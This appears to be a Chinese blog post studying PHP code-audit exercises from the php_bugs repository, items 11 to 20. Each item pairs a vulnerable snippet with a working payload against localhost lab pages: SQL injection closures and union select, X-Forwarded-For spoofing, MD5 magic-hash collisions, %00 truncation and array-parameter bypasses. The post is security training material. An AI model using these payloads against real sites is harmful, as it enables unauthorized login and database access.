php程式碼審計分段學習(php_bug)[2]
參考:https://github.com/bowu678/php_bugs
11.sql閉合繞過
$sql = “select user from php where (user=`$user`) and (pw=`$pass`)”;嗯好吧這個不就是sqli-labs的Less-3麼,放下writeup好了http://localhost/php_bug/11.php/?user=admin`)#
12.X-Forwarded-For繞過指定IP地址
if ($GetIPs==”1.1.1.1″){
echo “Great! Key is *********”;},直接bp抓包,在http頭裡面加上X-Forwarded-For:1.1.1.1就行了,X-Forwarded-For代表客戶端,裡面存放的是HTTP端請求的真實ip。
13.md5加密相等繞過
$a != `QNKCDZO` && $md51 == $md52,兩個字串不相等但是md5後的值相等,記下writeup。
var_dump(md5(`240610708`) == md5(`QNKCDZO`));//ture
var_dump(md5(`aabg7XSs`) == md5(`aabC9RqS`));//ture
var_dump(sha1(`aaroZmOk`) == sha1(`aaK1STfY`));//ture
var_dump(sha1(`aaO8zKZF`) == sha1(`aa3OFF9m`));//ture
var_dump(`0010e2` == `1e3`);//ture
var_dump(`0x1234Ab` == `1193131`);//ture
var_dump(`0xABCdef` == ` 0xABCdef`);//ture
==對比的時候會進行資料轉換,0eXXXXXXXXX就成0了,如果比較一個數字和字串或者比較涉及到數字內容的字串,則字串會被轉換為數值並且比較按照數值來進行,嗯還是用===好一些,儘量不要用==。
14.intval函式四捨五入
emmmm,這個函式。。。先是查詢的時候intval($_GET[`id`])為1024,但是$_GET[`id`]又不能為1024,直接1024.325加個小數點就行了。。intval會自動將小數點後面的數值舍掉
15 strpos陣列繞過NULL與ereg正則%00截斷
@ereg (“^[1-9]+$”, $_GET[`nctf`]
strpos ($_GET[`nctf`], `#biubiubiu`)
①.這個是要求輸入的內容必須為純數字,但是還有出現#biubiubiu的內容,eregde%00截斷可以實現,但是題目上給的#需要url編碼一下,要不實現不了。http://localhost/php_bug/15.php?nctf=12414%00%23biubiubiu
②.strpos()找的是字串,那麼傳一個陣列給它,strpos()出錯返回null,null!==false,符合要求. 所以輸入nctf[]= ,ereg()在出錯時返回的也是null,null!==falsehttp://localhost/php_bug/15.php?nctf[]=
16.SQL隱碼攻擊or繞過
$query=`SELECT * FROM interest WHERE uname=“.$username.“ AND pwd=“.$password.“;`;
$query=`SELECT * FROM users WHERE name=“admin“ AND pass=“or 1 #“;`;
?username=admin“ AND pass=“or 1 #&password=
有點傳說中的花式閉合的感覺。。
17.密碼md5比較繞過
總感覺眼熟,emmm和第九個是一樣的。。。
?user=` union select `202cb962ac59075b964b07152d234b70` #&pass=123
18.md5()函式===使用陣列繞過
$_GET[`username`] == $_GET[`password`]
md5($_GET[`username`]) === md5($_GET[`password`])
http://localhost/php_bug/18.php?username[]=1&password[]=2,前面已經在sha1()函式比較繞過這個裡面詳細說過了,,基本同樣道理,這裡就不多做描述了。
19 ereg()函式strpos() 函式用陣列返回NULL繞過
ereg (“^[a-zA-Z0-9]+$”, $_GET[`password`])
strpos ($_GET[`password`], `–`)
emm這個和15是一樣的只是ereg()的這個函式現在要求的是隻能出現字母和數字,依舊是兩種方法
http://localhost/php_bug/19.php?password[]=
http://localhost/php_bug/19.php?password=12a%00–
- 十六進位制與數字比較
($digit >= $one) && ($digit <= $nine)
$number == $temp
這個題的要求是輸入的數字不能是1~9的數字,但是又要與3735929054相等,轉化為16進位制
http://localhost/php_bug/20.php?password=0xdeadc0de
54975581388轉換成16進製為ccccccccc
相關文章
- PHP程式碼審計——Day2-TwigPHP
- PHP程式碼審計——Day 5-postcardPHP
- [程式碼審計]php上傳漏洞總結PHP
- PHP程式碼審計——Day3-Snow FlakePHP
- PHP程式碼審計歸納-Ali0thPHP
- php程式碼審計之——phpstorm動態除錯PHPORM除錯
- 記一次完整的PHP程式碼審計——yccms v3.4審計PHP
- 網路安全裡面的程式碼審計難學嗎?如何學習?
- 基於php審計關鍵詞審計技巧總結 網路安全學習PHP
- 程式碼審計工具有哪些?網路安全課程學習
- 網站漏掃服務之程式碼審計安全學習網站
- PHP程式碼審計01之in_array()函式缺陷PHP函式
- PHP程式碼審計05之正則使用不當PHP
- Java程式碼審計篇 - ofcms系統審計思路講解 - 篇2 - SQL隱碼攻擊漏洞審計JavaSQL
- buu 程式碼審計
- JFinalcms程式碼審計
- CSCMS程式碼審計
- 程式碼審計是什麼?網路安全實戰學習技能
- 打造自己的php半自動化程式碼審計工具PHP
- PHP程式碼審計04之strpos函式使用不當PHP函式
- PHP程式碼審計02之filter_var()函式缺陷PHPFilter函式
- PHP程式碼審計03之例項化任意物件漏洞PHP物件
- 什麼是程式碼審計?程式碼審計有什麼好處?
- 程式碼審計————目錄
- Graudit程式碼安全審計
- 程式碼審計是什麼?程式碼審計操作流程分為幾步?
- python 安全編碼&程式碼審計Python
- PHP 程式設計師的堆學習PHP程式設計師
- 哪些業務場景需要做程式碼審計?程式碼審計很重要嗎?
- Pycharm中分段執行程式碼PyCharm行程
- 程式碼審計難學嗎?有哪些好用的工具?
- oasys系統程式碼審計
- Java程式碼審計入門篇Java
- 程式碼審計入門總結
- Hackthebox bagel.dll 程式碼審計
- [JavaWeb]Shiro漏洞集合——程式碼審計JavaWeb
- 為什麼要做程式碼審計?
- Java 程式碼審計 — 1. ClassLoaderJava